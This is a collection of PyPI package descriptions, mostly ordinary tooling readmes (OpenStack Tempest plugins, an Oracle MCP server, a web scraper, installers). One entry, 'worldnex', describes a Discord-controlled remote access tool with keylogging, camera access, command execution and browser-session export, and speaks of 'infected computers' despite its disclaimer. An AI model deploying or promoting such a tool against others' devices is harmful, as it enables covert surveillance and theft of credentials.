semvec/pypi-packages huggingface dataset:
cloudkitty-tempest-plugin 3.3.0
Tempest plugin for CloudKitty

=================================
Tempest integration of CloudKitty
=================================

This project defines a tempest plugin containing tests used to verify the
functionality of a cloudkitty installation. The plugin will automatically load
these tests into tempest.

Dependencies
------------

This plugin tests the CloudKitty API. This supposes that the 'rating' role
exists in your OpenStack installation.

Developers
----------
For more information on cloudkitty, refer to:
https://docs.openstack.org/cloudkitty/latest/

For more information on tempest plugins, refer to:
https://docs.openstack.org/tempest/latest/#using-plugins

Bugs
----
Please report bugs to: https://storyboard.openstack.org/#!/project/890

Installing
----------

Clone this repository and call from the repo::

    $ pip install -e .

Running the tests
-----------------

To run all the tests from this plugin, call from the tempest repo::

    $ cd <Tempest Directory>
    $ tox -e all -- cloudkitty_tempest_plugin

To run a single test case, call with full path, for example::

    $ cd <Tempest Directory>
    $ tox -e all -- cloudkitty_tempest_plugin.tests.api.test_cloudkitty_api.CloudkittyAdminAPITest.test_get_collector_mappings

To retrieve a list of all tempest tests, run::

    $ cd <Tempest Directory>
    $ testr list-tests
mcp-oracle-server 1.0.1
Model Context Protocol server to access oracle database
Requires Python: >=3.12

# mcp-server-oracle
Model Context Protocol server to access oracle

[![Python 3.12](https://img.shields.io/badge/python-3.12-blue.svg)](https://www.python.org/downloads/release/python-3120/)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)


## Quickstart

To try this in Claude Desktop app, add this to your claude config files:

```json
{
  "mcpServers": {
    "mcp-server-oracle": {
      "command": "uvx",
      "args": [
        "mcp-server-oracle"
      ],
      "env": {
        "ORACLE_CONNECTION_STRING": "username/password@hostname:port/service_name"
      }
    }
  }
}
```

### Prerequisites

- UV (pacakge manager)
- Python 3.12+
- Claude Desktop

### Installation

#### Claude Desktop Configuration

Add the server configuration to your Claude Desktop config file:

**MacOS**: `~/Library/Application\ Support/Claude/claude_desktop_config.json`  
**Windows**: `%APPDATA%/Claude/claude_desktop_config.json`


## License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
worldnex 2.0.1
Helps you remotely access your Computer

# Nex  

Nex is a **remote monitoring and administration framework** built in Python.  
It allows you to manage and interact with your own Windows devices remotely using a simple Discord-based interface.  

**⚠️ NOTICE**  
Nex is provided for **educational, research, and personal device management purposes only**.  
It is **not intended for unauthorized access** to computers.  

---

## Installation  
First create a discord bot and add it to your new made empty discord channel

pip install worldnex

import nex  

nex.start("BOT_TOKEN", UserID = DISCORD_USER_ID, ServerID = DISCORD_SERVER_ID)  

Once the bot is online, type `access` in different Discord channels to switch between the infected computers(main channel has access to ever single infected computer).

type `!h` in to see all available commands. 

and use the file exe file in the dist folder.

---

## Features  

- Remote desktop monitoring (screenshots, screen recording).  
- Camera access for personal device checks.  
- Command execution on your own machines.  
- Network control (toggle Wi-Fi).  
- System power management (shutdown, restart).  
- Process management (list, terminate).  
- Input & activity logging for testing environments.  
- Export of browser session data for research/demonstration.  

---

## Usage  

- Each device has a **unique session ID**, making it easy to reconnect.  
- To send a command to all connected devices, use `all` as the session ID.  
- Some features may require administrative privileges.  
- Designed for **personal labs, classroom demonstrations, or authorized testing setups**.  

---

## Disclaimer  

This software must be used **only on devices you own or have explicit permission to manage**.  
Unauthorized use against third parties is illegal and strictly prohibited.  

The author accepts **no responsibility** for misuse. By using Nex, you agree to operate it in controlled, ethical environments only.  

---

## Development  

- Windows functionality is currently the most complete.  
- Linux support is under development for features like screenshots, file management, and shell execution.
magnum-tempest-plugin 2.9.0
Tempest plugin for Magnum Project

===============================
openstack Magnum Tempest Plugin
===============================

Tempest plugin for Magnum Project

It contains the tempest tests for testing Container Infrastructure Management
Service for OpenStack.

* Free software: Apache license
* Documentation: https://docs.openstack.org/magnum/latest
* Source: https://opendev.org/openstack/magnum-tempest-plugin
* Bugs: https://storyboard.openstack.org/#!/project/openstack/magnum-tempest-plugin
limoon 0.1.12
Web scraper base Pythonic API for Ekşi Sözlük
Requires Python: >=3.9

<p align="center" width="100%">
<img height="128" src="https://github.com/user-attachments/assets/4c1f51e0-a7e8-47f3-b311-d828a6765b09" alt="limoon-logo" />
</p>

Limoon (`limon-moon`, limon is lemon but Turkish), web scraper base Pythonic API for [Ekşi Sözlük](https://eksisozluk.com). This module can get topics, entries and authors. It also has `debe` and `gündem` page support. Contributions are most welcome!

![PyPI - Version](https://img.shields.io/pypi/v/limoon)
![PyPI - Python Version](https://img.shields.io/pypi/pyversions/limoon)
![GitHub License](https://img.shields.io/github/license/beucismis/limoon)
![GitHub Actions Workflow Status](https://img.shields.io/github/actions/workflow/status/beucismis/limoon/test.yml?label=test)
![GitHub Actions Workflow Status](https://img.shields.io/github/actions/workflow/status/beucismis/limoon/publish.yml?label=publish)
![GitHub Actions Workflow Status](https://img.shields.io/github/actions/workflow/status/beucismis/limoon/doc.yml?label=doc)

## Installing

```
pip install -U limoon
```

## Examples

```python
import limoon


limoon.BASE_URL = "https://eksisozluk1923.com"
print(limoon.BASE_URL)
# 'https://eksisozluk1923.com'

topic = limoon.get_topic("richard stallman")
# Topic(43270)
dir(topic)
# [..., 'id', 'page_count', 'path', 'title', 'url']

entry = limoon.get_entry(2878417)
# Entry(2878417)
entry.content
# 'programcılıgın 8. harikası'
dir(entry)
# [..., 'author_nickname', 'content', 'created', 'date', 'edited', 'favorite_count', 'id', 'url']

author = limoon.get_author("ssg")
# Author(ssg)
dir(author)
# [..., 'avatar_url', 'badges', 'biography', 'follower_count', 'following_count', 'nickname', 'rank', 'total_entry', 'url']

search_result = limoon.get_search_topic("linux")
# Iterator[SearchResult]
list(search_result)
# [SearchResult(linux), SearchResult(linux mint), SearchResult(arch linux), SearchResult(linux ile windows karşılaştırması), SearchResult(linux kullanabilen kız), ...]
```

## Documentation

Documentation is [here](DOCUMENTATION.md). This page is auto generated. Don't edit!

## License

`limoon` is distributed under the terms of the [MIT](LICENSE.txt) license. Also the logo was made by @beucismis.
funinstall 1.0.59
funinstall 快速安装一些开发工具
Requires Python: >=3.8

# funinstall

[![PyPI Version](https://img.shields.io/pypi/v/funinstall.svg)](https://pypi.org/project/funinstall/)
[![License](https://img.shields.io/pypi/l/funinstall.svg)](https://github.com/farfarfun/funinstall/blob/master/LICENSE)
[![Python Versions](https://img.shields.io/pypi/pyversions/funinstall.svg)](https://pypi.org/project/funinstall/)

funinstall 是一个简单易用的工具包，用于一键安装各种开发工具和环境。

## 安装

```bash
pip install funinstall
```

## 功能特点

- 🚀 **简单易用**: 基于 Typer 构建的直观命令行界面
- 🔧 **多平台支持**: 支持 macOS、Linux、Windows 三大操作系统
- 📦 **丰富工具**: 涵盖开发环境、开发工具、网络工具、API管理等多个类别
- ⚡ **智能安装**: 自动检测系统架构和已安装软件，避免重复安装
- 🎯 **版本控制**: 支持指定版本安装和版本更新
- 🛡️ **安全可靠**: 从官方源下载，确保软件安全性

## 支持的安装工具

| 类别 | 工具名称 | 安装命令 | 说明 | macOS | Linux | Windows |
|------|----------|----------|------|-------|-------|---------|
| **开发环境** | Go 语言 | `funinstall install go` | Go 语言开发环境 | ✅ | ✅ | ✅ |
| | NodeJS | `funinstall install nodejs` | NodeJS 开发环境 | ✅ | ✅ | ✅ |
| | Homebrew | `funinstall install brew` | macOS 包管理器 | ✅ | ❌ | ❌ |
| **开发工具** | Code Server | `funinstall install code-server` | 基于 Web 的 VS Code 服务器 | ✅ | ✅ | ❌ |
| | OSS工具 | `funinstall install ossutil` | 阿里云对象存储命令行工具 | ✅ | ✅ | ✅ |
| **网络工具** | V2rayA | `funinstall install v2rayA` | 网络代理工具 | ✅ | ✅ | ❌ |
| | FRP客户端 | `funinstall install frpc` | 内网穿透工具 | ✅ | ✅ | ❌ |
| **API管理** | New API | `funinstall install new-api` | 接口管理工具 | ✅ | ✅ | ✅ |
| | OneHub | `funinstall install onehub` | API 网关工具 | ✅ | ✅ | ✅ |
| **其他工具** | UIF | `funinstall install uif` | 通用工具 | ✅ | ✅ | ❌ |

### 使用示例

```bash
# 安装 Go 语言环境
funinstall install go

# 安装指定版本的 NodeJS
funinstall install nodejs --version 18.17.0

# 安装最新版本的 NodeJS
funinstall install nodejs --lasted

# 安装阿里云 OSS 工具
funinstall install ossutil

# 查看所有可用命令
funinstall --help
funinstall install --help
```

## 开发

### 依赖项

- Python >= 3.9
- funbuild >= 1.6.3
- funsecret >= 1.4.56
- funutil >= 1.0.50

### 贡献

欢迎提交 issues 和 pull requests 到 [GitHub 仓库](https://github.com/farfarfun/funinstall)。

## 许可证

本项目采用 [LICENSE](LICENSE) 许可证。
yliueTools 1.0.4
做的一些工具包
Keywords: python


# yLIueTools

yLIueTools包含自己正在使用的一些python小工具

当前版本: 1.0.4

代码最新更新时间: 2025.09.22

github项目地址: [yLIueTools](https://github.com/yLIue/yLIueTools)

## 描述 <a id="description"></a>

每一个代码萌新都会自己尝试造轮子,这是我自己尝试写的方便自己用的小工具

可能有些功能会跟其他包冲突了,主要还是自己方便嘛

该包包含内容:

- 方便调试和筛选输出信息的Debug模块
- 方便输出带有颜色字体的Color模块

## 目录

[1.描述](#description)

[2.安装流程](#Install)

[3.Debug模块使用说明](#Debug)

[4.Color模块使用说明](#Color)

[5.Update log](#Update)

## 安装流程 <a id="Install"></a>

使用pip进行安装

```python
  pip install yliueTools
```

## Debug模块使用说明 <a id="Debug"></a>

### 注意

Debug包会调用Color包的函数，Color的**颜色显示**在**不支持ANSI转义序列**的终端会出现**乱码**的情况
你可以通过关闭颜色来让其正常显示

```python
 debug = Debug("Test", _color=False)
```

### 初步使用

1.引入该包

```python
 from MxTools import Debug
```

2.定义一个Debug对象

```python
 # debug = Debug('project_name') 
 # project_name 为项目名称 type:str
 debug = Debug('Test')
```

3.使用Debug模块打印信息

```python
 debug.log('Hello World!')
 # 输出
 # [2025-09-21 16:01:47,299] ING Test.default: Hello World!
```

### 筛选器教程

 使用log打印时有3个参数
 分别是 **_msg**(打印信息) **_name**(信息打印位置,默认为default) **_type**(类型，默认为ING)

 我们可以在定义类的时候使用 **_filterTyp** 和 **_filterName** 筛选器筛选自己想看的信息

 ```python
  debug = Debug('Test',_filterType = 'ING', _filterName = 'default')
  # 筛选出类型为ING 发出位置为 default的打印信息
 ```

### 关闭Debug输出

```python
  debug = Debug('Test', False)
```

### API

#### Debug类

```python
  Debug(_project: str, _debug: bool = True, _filterType: str = 'all', _filterName: str = 'all',_tips: bool = True, _color: bool = True)
```

- _project 项目名称,必填项
- _debug debug的开关,可以一键关闭所有输出
- _filterType 类型筛选器
- _filterName 发出位置筛选器
- _tips 提示显示的开关
- _color  可以关闭输出的字体颜色

#### .log

```python
  .log(_msg, _name: str = 'default', _type: str = 'ING')
```

- _msg 信息
- _name 信息发出位置
- _type 信息类型,已有参数会有颜色标识

##### _type已有参数

- ING 正常运行
- ERR 错误
- PRIVATE 属于Debug内部信息
- TIPS  提示信息,可以在定义类的时候使用 **_tips = False** 来关闭所有的提示信息
- GLOBAL  全局变量
- OUTPUT  接口输出

## Color模块使用说明<a id="Color"></a>

### 注意

Color包的**颜色显示**在**不支持ANSI转义序列**的终端会出现**乱码**的情况

### 初步使用

 1.引入该包

 ```python
 from MxTools import Color
 ```

 2.输出紫色字体

 ```python
  print(Color.purple('Hello World!'))
 ```

### ColorAPI

- purple 紫色
- grey 灰色
- green 绿色
- red 红色
- blue 蓝色
- yellow 黄色
- cyan 青色

## Update log <a id="Update"></a>

`Ver1.0.1 2025.09.21` 第一次上传

`Ver1.0.2 2025.09.22` 修改部分编写错误 debug.rEnd修复了文件夹读取与实际不符合的bug,不要使用没提到的功能,即便它有,这极其不稳定

`Ver1.0.3 2025.09.22` 修改了自叙文件的编写错误

`Ver1.0.4 2025.09.22` 修复Debug筛选器筛选问题,加入了屏蔽提示的开关,更好的自叙文件

筛选器Bug...这个真是核心的问题,都是因为自己不够小心,Orz不好意思qaq,幸好没人用